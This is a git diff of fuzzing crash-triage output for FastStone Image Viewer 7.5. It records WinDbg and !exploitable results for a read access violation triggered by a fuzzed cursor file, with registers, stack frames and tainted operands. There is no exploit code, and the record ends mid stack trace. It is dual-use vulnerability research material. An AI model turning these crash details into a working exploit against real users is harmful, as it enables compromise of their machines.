+IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b53b971 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ebbf12c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..d651150 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1514: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1514: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1514.1f90): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e77b10 edx=00003879 esi=ffdd0010 edi=07c9afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.92235e-007 -15221.8 0.447248 -1.86639e+033 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00381000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00381000 ee2bb282 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ba 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00381000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..d651150 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/WindowsDebugEngine_description.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1514: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1514: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1514.1f90): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e77b10 edx=00003879 esi=ffdd0010 edi=07c9afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.92235e-007 -15221.8 0.447248 -1.86639e+033 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00381000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00381000 ee2bb282 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ba 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 